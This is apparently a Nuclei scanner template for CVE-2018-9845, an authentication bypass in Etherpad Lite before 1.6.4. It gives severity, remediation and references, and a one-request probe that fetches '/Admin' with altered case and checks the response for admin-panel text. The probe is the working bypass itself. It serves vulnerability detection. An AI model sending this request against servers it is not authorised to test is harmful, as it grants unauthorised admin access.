id: CVE-2018-9845

info:
  name: Etherpad Lite <1.6.4 - Admin Authentication Bypass
  author: philippedelteil
  severity: critical
  description: Etherpad Lite before 1.6.4 is exploitable for admin access.
  impact: |
    An attacker can bypass the admin authentication and gain unauthorized access to the admin panel.
  remediation: |
    Upgrade to Etherpad Lite version 1.6.4 or later to fix the vulnerability.
  reference:
    - https://infosecwriteups.com/account-takeovers-believe-the-unbelievable-bb98a0c251a4
    - https://github.com/ether/etherpad-lite/commit/ffe24c3dd93efc73e0cbf924db9a0cc40be9511b
    - https://nvd.nist.gov/vuln/detail/CVE-2018-9845
    - https://github.com/ether/etherpad-lite/blob/develop/CHANGELOG.md
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-9845
    cwe-id: CWE-178
    epss-score: 0.69404
    epss-percentile: 0.98562
    cpe: cpe:2.3:a:etherpad:etherpad_lite:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: etherpad
    product: etherpad_lite
  tags: cve2018,cve,etherpad,auth-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/Admin"

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Etherpad version"
          - "Plugin manager"
          - "Installed parts"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b2da9c66cda3301ef09494252fe890ae7a3e569d4c73a2c8b618ecd786b7f3b0022100d3185d759f3b0b5eb35ef9b76d66254fd478489a4287cea59523734c6482d0ec:922c64590222798bb761d5b6d8e72950